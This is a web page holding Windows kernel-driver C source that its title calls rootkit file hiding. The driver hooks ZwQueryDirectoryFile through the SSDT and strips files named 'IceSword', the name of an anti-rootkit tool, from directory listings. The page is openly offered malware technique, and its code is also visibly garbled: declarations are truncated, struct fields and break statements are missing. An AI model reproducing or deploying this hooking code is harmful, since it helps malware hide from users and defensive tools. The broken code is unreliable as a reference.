天天看點

vc是實作RootKit檔案隐藏

#include "ntddk.h"

#include <windef.h>

#pragma pack(1) //SSDT Table

typedef struct ServiceDescriptorEntry {

        unsigned int *ServiceTableBase;

        unsigned int *ServiceCounterTableBase; //Used only in checked build

        unsigned int NumberOfServices;

        unsigned char *ParamTableBase;

} ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;

#pragma pack()

__declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

#define SYSTEMSERVICE(_function)  KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]

NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath);

VOID Unload(IN PDRIVER_OBJECT  DriverObject);

//取代的新函數

NTSTATUS NTAPI NewZwQueryDirectoryFile(

  IN HANDLE               FileHandle,

  IN HANDLE               Event OPTIONAL,

  IN PIO_APC_ROUTINE      ApcRoutine OPTIONAL,

  IN PVOID                ApcContext OPTIONAL,

  OUT PIO_STATUS_BLOCK    IoStatusBlock,

  OUT PVOID               FileInformation,

  IN ULONG                Length,

  IN FILE_INFORMATION_CLASS FileInformationClass,

  IN BOOLEAN              ReturnSingleEntry,

  IN PUNICODE_STRING      FileMask OPTIONAL,

  IN BOOLEAN              RestartScan );

//API 聲明

NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(

typedef NTSTATUS (*ZWQUERYDIRECTORYFILE)(

typedef struct _FILE_DIRECTORY_INFORMATION {

    ULONG NextEntryOffset;

    ULONG FileIndex;

    LARGE_INTEGER CreationTime;

    LARGE_INTEGER LastAccessTime;

    LARGE_INTEGER LastWriteTime;

    LARGE_INTEGER ChangeTime;

    LARGE_INTEGER EndOfFile;

    LARGE_INTEGER AllocationSize;

    ULONG FileAttributes;

    ULONG FileNameLength;

    WCHAR FileName[1];

} FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION;

typedef struct _FILE_FULL_DIR_INFORMATION {

    ULONG EaSize;

} FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION;

typedef struct _FILE_ID_FULL_DIR_INFORMATION {

    LARGE_INTEGER FileId;

} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION;

typedef struct _FILE_BOTH_DIR_INFORMATION {

    CCHAR ShortNameLength;

    WCHAR ShortName[12];

} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;

typedef struct _FILE_ID_BOTH_DIR_INFORMATION {

} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION;

typedef struct _FILE_NAMES_INFORMATION {

} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION;

//源位址

ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile = NULL;

DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);

void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset);

PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);

ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo);

#include "Hidefile.h"

NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,IN PUNICODE_STRING  RegistryPath)

{

 NTSTATUS ntStatus = STATUS_SUCCESS;

DriverObject->DriverUnload = Unload;

KdPrint(("Driver Entry Called!/n"));

 KdPrint(("OldAddress:0x%X/tNewAddress:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile),NewZwQueryDirectoryFile));

 OldZwQueryDirectoryFile = (ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile);

 (ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = NewZwQueryDirectoryFile;

 return ntStatus;

}

VOID Unload(IN PDRIVER_OBJECT  DriverObject)

 KdPrint(("Driver Unload Called!/n"));

 (ZWQUERYDIRECTORYFILE)SYSTEMSERVICE(ZwQueryDirectoryFile) = OldZwQueryDirectoryFile;

 KdPrint(("Address:0x%X/n",SYSTEMSERVICE(ZwQueryDirectoryFile)));

 return;

DWORD GetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)

 DWORD result = 0;

 switch(FileInfo){

 case FileDirectoryInformation:

  result = ((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset;

  break;

 case FileFullDirectoryInformation:

  result = ((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset;

 case FileIdFullDirectoryInformation:

  result = ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset;

 case FileBothDirectoryInformation:

  result = ((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;

 case FileIdBothDirectoryInformation:

  result = ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset;

 case FileNamesInformation:

  result = ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset;

 }

 return result;

void SetNextEntryOffset(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo,IN DWORD Offset)

  ((PFILE_DIRECTORY_INFORMATION)pData)->NextEntryOffset = Offset;

  ((PFILE_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;

  ((PFILE_ID_FULL_DIR_INFORMATION)pData)->NextEntryOffset = Offset;

  ((PFILE_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;

  ((PFILE_ID_BOTH_DIR_INFORMATION)pData)->NextEntryOffset = Offset;

  ((PFILE_NAMES_INFORMATION)pData)->NextEntryOffset = Offset;

PVOID GetEntryFileName(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)

 PVOID result = 0;

  result = (PVOID)&((PFILE_DIRECTORY_INFORMATION)pData)->FileName[0];

  result =(PVOID)&((PFILE_FULL_DIR_INFORMATION)pData)->FileName[0];

  result =(PVOID)&((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileName[0];

  result =(PVOID)&((PFILE_BOTH_DIR_INFORMATION)pData)->FileName[0];

  result =(PVOID)&((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileName[0];

  result =(PVOID)&((PFILE_NAMES_INFORMATION)pData)->FileName[0];

ULONG GetFileNameLength(IN PVOID pData,IN FILE_INFORMATION_CLASS FileInfo)

 ULONG result = 0;

  result = (ULONG)((PFILE_DIRECTORY_INFORMATION)pData)->FileNameLength;

  result =(ULONG)((PFILE_FULL_DIR_INFORMATION)pData)->FileNameLength;

  result =(ULONG)((PFILE_ID_FULL_DIR_INFORMATION)pData)->FileNameLength;

  result =(ULONG)((PFILE_BOTH_DIR_INFORMATION)pData)->FileNameLength;

  result =(ULONG)((PFILE_ID_BOTH_DIR_INFORMATION)pData)->FileNameLength;

  result =(ULONG)((PFILE_NAMES_INFORMATION)pData)->FileNameLength;

  IN BOOLEAN              RestartScan )

 NTSTATUS ntStatus = OldZwQueryDirectoryFile(

  FileHandle,

  Event,

  ApcRoutine,

  ApcContext,

  IoStatusBlock,

  FileInformation,

  Length,

  FileInformationClass,

  ReturnSingleEntry,

  FileMask,

  RestartScan);

 if(NT_SUCCESS(ntStatus) &&

  FileInformationClass == FileDirectoryInformation ||

  FileInformationClass == FileFullDirectoryInformation ||

  FileInformationClass == FileIdFullDirectoryInformation ||

  FileInformationClass == FileBothDirectoryInformation ||

  FileInformationClass == FileIdBothDirectoryInformation ||

  FileInformationClass == FileNamesInformation

  )

 {

  PVOID p = FileInformation;

  PVOID pLast = NULL;

  DWORD pLastOne = 0;

  KdPrint(("<--------/n"));

  do{

   pLastOne = GetNextEntryOffset(p,FileInformationClass);

   KdPrint(("[*]Last:0x%x/tCurrent:0x%x/tpLastOne:%ld/n",pLast,p,pLastOne));

   if(RtlCompareMemory(GetEntryFileName(p,FileInformationClass), L"IceSword", 16 ) == 16 )

   {

    KdPrint(("[-]Hide...../n"));

    if(pLastOne == 0)

    {

     if (p == FileInformation)

      ntStatus = STATUS_NO_MORE_FILES;

     else

      SetNextEntryOffset(pLast,FileInformationClass, 0);

     break;

    }

    else

     int iPos = ((ULONG)p) - (ULONG)FileInformation;

     int iLeft = (DWORD)Length - iPos - pLastOne;

     RtlCopyMemory(p,(PVOID)((char*)p + pLastOne),(DWORD)iLeft);

     KdPrint(("iPos:%ld/tLength:%ld/tiLeft:%ld/t,NextOffset:%ld/tpLastOne:%ld/tCurrent:0x%x/n",

      iPos,Length,iLeft,GetNextEntryOffset(p,FileInformationClass),pLastOne,p));

     continue;

   }

   pLast = p;

   p = ((char*)p + GetNextEntryOffset(p,FileInformationClass));

  }while (pLastOne != 0);

  KdPrint(("-------->/n"));